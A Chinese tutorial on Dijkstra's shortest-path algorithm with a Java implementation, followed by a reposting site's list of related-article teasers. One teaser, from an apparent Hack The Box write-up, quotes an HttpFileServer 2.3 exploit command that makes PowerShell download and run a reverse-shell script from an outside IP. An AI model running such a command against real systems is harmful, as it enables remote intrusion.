单源最短路径算法 -- 迪杰斯科拉(Dijkstra)算法

1. 简介

        迪杰斯科拉(Dijkstra)算法是一种用于在加权图中找到最短路径的经典算法。它是由荷兰计算机科学家Edsger Wybe Dijkstra在1956年首次提出的,并以他的名字命名。这个算法特别适合于解决单源最短路径问题,即计算图中一个顶点到其他所有顶点的最短路径。

2. 核心原理

        Dijkstra算法的核心很简单,就是贪心算法的思想,它每次都选择当前已知的最短路径,并以此作为基础来更新其他顶点的最短路径估计。

注: Dijkstra算法只能用于图中所有权重为非负数,因为过程中会对路径上的权重进行累加比较。

3. 算法步骤

  1. 将源顶点的距离设为0,其他所有顶点的距离设为无穷大。
  2. 将源顶点加入已访问集合。
  3. 遍历未访问顶点,找出距离最短的顶点,将其加入已访问集合。
  4. 更新邻接顶点的距离,如果新计算的距离小于当前距离,则更新距离。
  5. 重复步骤3和4,直到所有顶点都被访问过。

4. 图解

5. 代码实现

class Graph {private int vertices;private LinkedList<Edge>[] adjacencyList;public Graph(int vertices) {this.vertices = vertices;adjacencyList = new LinkedList[vertices];for (int i = 0; i < vertices; i++) {adjacencyList[i] = new LinkedList<>();}}// 添加一个边public void addEdge(int source, int destination, int weight) {Edge edge = new Edge(source, destination, weight);adjacencyList[source].addFirst(edge);}public void dijkstra(int startVertex) {boolean[] visited = new boolean[vertices];  // 记录顶点是否被访问过int[] distance = new int[vertices];         // 记录起始顶点到其他顶点的最短距离// 初始化距离数组Arrays.fill(distance, Integer.MAX_VALUE);distance[startVertex] = 0;// 使用优先队列来维护待访问顶点PriorityQueue<Edge> pq = new PriorityQueue<>(Comparator.comparingInt(edge -> edge.weight));pq.offer(new Edge(-1, startVertex, 0));// 核心while (!pq.isEmpty()) {Edge edge = pq.poll();int currentVertex = edge.destination;// 如果当前顶点已经被访问过,则跳过if (!visited[currentVertex]) {visited[currentVertex] = true;// 更新相邻顶点的最短距离LinkedList<Edge> neighbors = adjacencyList[currentVertex];for (Edge neighbor : neighbors) {// 相邻顶点未被访问过if (!visited[neighbor.destination]) {int newDistance = distance[currentVertex] + neighbor.weight;// 如果新的距离小于当前距离,则更新距离if (newDistance < distance[neighbor.destination]) {distance[neighbor.destination] = newDistance;pq.offer(new Edge(currentVertex, neighbor.destination, newDistance));}}}}}printShortestPath(distance, startVertex);}// 打印结果private void printShortestPath(int[] distance, int startVertex) {System.out.println("Shortest path from vertex " + startVertex + " to all other vertices:");for (int i = 0; i < vertices; i++) {System.out.println("To vertex " + i + ": " + distance[i]);}}// 边static class Edge {int source;         // 源点int destination;    // 目标点int weight;         // 权重public Edge(int source, int destination, int weight) {this.source = source;this.destination = destination;this.weight = weight;}}
}public class DijkstraAlgorithm {public static void main(String[] args) {Graph graph = new Graph(6);graph.addEdge(0, 1, 4);graph.addEdge(0, 2, 3);graph.addEdge(1, 2, 1);graph.addEdge(1, 3, 2);graph.addEdge(2, 3, 4);graph.addEdge(2, 4, 3);graph.addEdge(3, 4, 2);graph.addEdge(3, 5, 1);graph.addEdge(4, 5, 6);graph.dijkstra(0); // Starting vertex is 0}
}

6. 应用场景

  1. 路由算法:在路由器中,Dijkstra算法帮助确定经过哪些中间节点可以最快地传输数据包。尽管现代互联网路由器采用的协议更为复杂,但这些协议的核心仍然是基于Dijkstra算法的。
  2. 交通规划:在城市交通网络中,通过Dijkstra算法计算最短路径,可以设计更有效的交通网络,减少拥堵并提高效率。尽管实际的规划功能可能会使用更复杂的算法来考虑交通状况、路况等因素,Dijkstra算法的基本思想仍然被广泛应用。
  3. 社交网络:在社交网络分析中,Dijkstra算法可以帮助识别人与人之间的最短联系链。例如,在一个社交网络中,想要找到连接两个特定用户的最短关系链时,Dijkstra算法能够派上用场。这在实现某些社交功能,如“你可能认识的人”推荐时非常有用。
  4. 通信网络设计:设计电话网络或有线电视网络时,Dijkstra算法可以帮助确定最佳的电缆或光纤布线路径,以最小化成本同时保证服务质量。这是通过计算中心节点(如交换机或分配器)到所有其他节点的最短路径来实现的。

7. 优缺点

优点:

  • 简单易懂,实现简单。
  • 适用于有向图和无向图。
  • 时间复杂度较低,在稀疏图中表现较好。

缺点:

  • 不能处理负权边。
  • 空间复杂度较高,毕竟需要存储所有顶点的最短距离。
  • 不适用于大规模图,效率较低。

8. 总结

           总而言之,Dijkstra算法是一种用于解决单源最短路径问题的算法,适用于带权有向图或无向图。算法的主要思想是贪心策略,即每次都寻找距离源点最近的一个顶点,然后更新其相邻顶点的距离。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/25146.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

保姆级讲解 Redis的理论与实践

文章目录 Redis学习笔记一 、Redis简介1.1 什么是Redis1.2 NoSQL1.3 NoSQL的类别1.4 总结&#xff1a;1.5 Redis 描述1.6 Redis的特点1.7 Redis的应用场景1.8 Redis总结 二、Redis安装2.1 Redis官网2.2 Redis 安装2.3 安装gcc2.4 安装Redis2.5 安装到指定的位置 三 、Redis启动…

oracle dataguard 从库 MRP 进程的状态是 WAIT_FOR_GAP

因主库归档日志未备份直接删除后&#xff0c;从库不能更新&#xff0c;19c版本以上&#xff0c;之前未打补丁&#xff0c;使用 RECOVER STANDBY DATABASE FROM SERVICE PRM180;之后&#xff0c;在执行 alter database recover managed standby database using current logfil…

深入理解C语言:main函数的奥秘

在C语言中&#xff0c;main函数是每个程序的入口点&#xff0c;起着至关重要的作用。本文将深入探讨main函数的工作原理&#xff0c;包括其参数、返回值、以及如何从main启动程序的执行。通过实际代码示例&#xff0c;读者将更深入地理解main函数在C语言编程中的核心地位。 第一…

安装 JDK 17

安装包 百度网盘 提取码&#xff1a;6666 安装步骤 双击下载得到的安装包&#xff0c;开始安装&#xff1a; 正在安装&#xff1a; 安装完成&#xff1a; 安装路径下&#xff0c;多出来了很多新的内容。安装文件夹所包含的内容及作用&#xff1a; src 是 JDK 的源码包。类库…

正大国际期货:内盘与外盘的区别

内盘&#xff1a; 内盘通常指的是国内的期货市场或交易所&#xff0c;即在交易者所在国家内部进行交易的期货市场。 在中国&#xff0c;内盘通常是指中国国内的期货交易所&#xff0c;如上海期货交易所&#xff08;SHFE&#xff09;、大连商品交易所&#xff08;DCE&#xff…

【vue实战项目】通用管理系统:图表功能

目录 前言 1.概述 2.数据概览页 2.1.柱状图 2.2.折线图 2.3.地图 前言 本文是博主前端Vue实战系列中的一篇文章&#xff0c;本系列将会带大家一起从0开始一步步完整的做完一个小项目&#xff0c;让你找到Vue实战的技巧和感觉。 专栏地址&#xff1a; https://blog.csd…

Golang | Leetcode Golang题解之第134题加油站

题目&#xff1a; 题解&#xff1a; func canCompleteCircuit(gas []int, cost []int) int {for i, n : 0, len(gas); i < n; {sumOfGas, sumOfCost, cnt : 0, 0, 0for cnt < n {j : (i cnt) % nsumOfGas gas[j]sumOfCost cost[j]if sumOfCost > sumOfGas {break}…

openai 前员工释放出关于AGI的前世今生和未来发展趋势的详细报告

目录 1.引言2.AGI的临近3.投资与工业动员4.国家安全与AI竞赛5.技术挑战与机遇6.项目与政策7.结语8.原文PDF链接PS.扩展阅读ps1.六自由度机器人相关文章资源ps2.四轴机器相关文章资源ps3.移动小车相关文章资源 1.引言 2024年&#xff0c;我们站在了一个全新的科技前沿。在这篇文…

如何做好电子内窥镜的网络安全管理?

电子内窥镜作为一种常用的医疗器械&#xff0c;其网络安全管理对于保护患者隐私和医疗数据的安全至关重要。以下是一些基本原则和步骤&#xff0c;用于确保电子内窥镜的网络安全&#xff1a; 1. 数据加密 为了防止数据泄露&#xff0c;电子内窥镜在传输患者图像数据时应采取有…

Docker的资源限制

文章目录 一、什么是资源限制1、Docker的资源限制2、内核支持Linux功能3、OOM异常4、调整/设置进程OOM评分和优先级4.1、/proc/PID/oom_score_adj4.2、/proc/PID/oom_adj4.3、/proc/PID/oom_score 二、容器的内存限制1、实现原理2、命令格式及指令参数2.1、命令格式2.2、指令参…

htb-window-4-Optimum-HttpFileServer 2.3

nmap exploit-HttpFileServer 2.3 生成ps1反弹shell 模拟漏洞案例的请求 python 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(http://10.10.16.5/reverse.ps1)"获取flag s…

前端面试题日常练-day58 【面试题】

题目 希望这些选择题能够帮助您进行前端面试的准备&#xff0c;答案在文末 1. 在PHP中&#xff0c;以下哪个函数用于输出字符串到浏览器&#xff1f; a) echo() b) print() c) output() d) display() 2. PHP中的预定义变量$_GET用于获取什么类型的数据&#xff1f; a) 用户…

selenium-java自动化教程

文章目录 Selenium支持语言WebDriver 开始使用chromedriver模拟用户浏览访问模拟点击事件关闭弹窗&#xff0c;选中元素并点击 获取页面文本结语 Selenium Selenium是一个自动化测试工具&#xff0c;可以模拟用户操作web端浏览器的行为&#xff0c;包括点击、输入、选择等。也可…

深入理解Python:装饰器与闭包

深入理解Python:装饰器与闭包 在Python编程中,装饰器和闭包是两个非常有用的高级特性。装饰器允许我们在不修改函数或类定义的情况下扩展其功能,而闭包则使得函数能够捕获和保存其所在作用域的变量。本文将详细介绍装饰器和闭包的基本概念、使用方法以及它们在实际应用中的…

系统运行中数据库瓶颈的解决方案

数据库在系统运行中的重要性不言而喻。它不仅是数据存储的核心&#xff0c;更是数据操作和管理的枢纽。然而&#xff0c;随着系统的逐步扩展&#xff0c;数据库的性能瓶颈问题常常成为阻碍系统高效运行的瓶颈。本文将探讨在系统运行中&#xff0c;当数据库遇到瓶颈时的解决方案…

Linux---进程/磁盘管理

文章目录 目录 文章目录 一.Linux中进程的概念 二.显示系统执行的进程 2.1: ps 命令 2.2 top 命令 三.终止进程 四.磁盘分区 一.Linux中进程的概念 在Linux中&#xff0c;进程是指操作系统中正在执行的程序的实例。每个进程都由操作系统分配了独立的内存空间&#xff0c;用于…

共识算法之争(PBFT,Raft,PoW,PoS,DPoS)

文章目录 共识算法拜占庭容错技术&#xff08;Byzantine Fault Tolerance&#xff0c;BFT&#xff09;PBFT&#xff1a;Practical Byzantine Fault Tolerance&#xff0c;实用拜占庭容错算法Raft协议POW(Proof of Work)工作量证明机制POSDPoS&#xff08;Delegated Proof of St…

多关键字排序

成绩排序 查看测评数据信息 给出班里某门课程的成绩单&#xff0c;请你按成绩从高到低对成绩单排序输出&#xff0c;如果有相同分数则名字字典序小的在前。 输入格式 第一行为n (0 < n < 20)&#xff0c;表示班里的学生数目&#xff1b; 接下来的n行&#xff0c;每行为每…

[创业之路-115] :互联网时代的创客文化与创客文化在企业中的应用

目录 一、什么是创客文化 》美国人的文化基因 1.1、创客文化的起源与发展 1.2、创客文化的特点 1.3、创客文化的应用与价值 1.4、创客文化的挑战与解决方案 二、创业文化对新职场人思维方式的转变 》美国人的文化基因 2.1、从固定思维到创新思维 2.2、从单打独斗到团队…

08-Eureka-eureka原理分析

08-Eureka-eureka原理分析 1.服务调用出现的问题: 1.服务消费者该如何获取服务提供者的地址信息? 2.如果有多个服务提供者,消费者该如何选择? 3.消费者如何得知服务提供者的健康状态? 2.Eureka的作用(原理): 在Eureka的结构当中,他分成了两个概念,两个角色。第…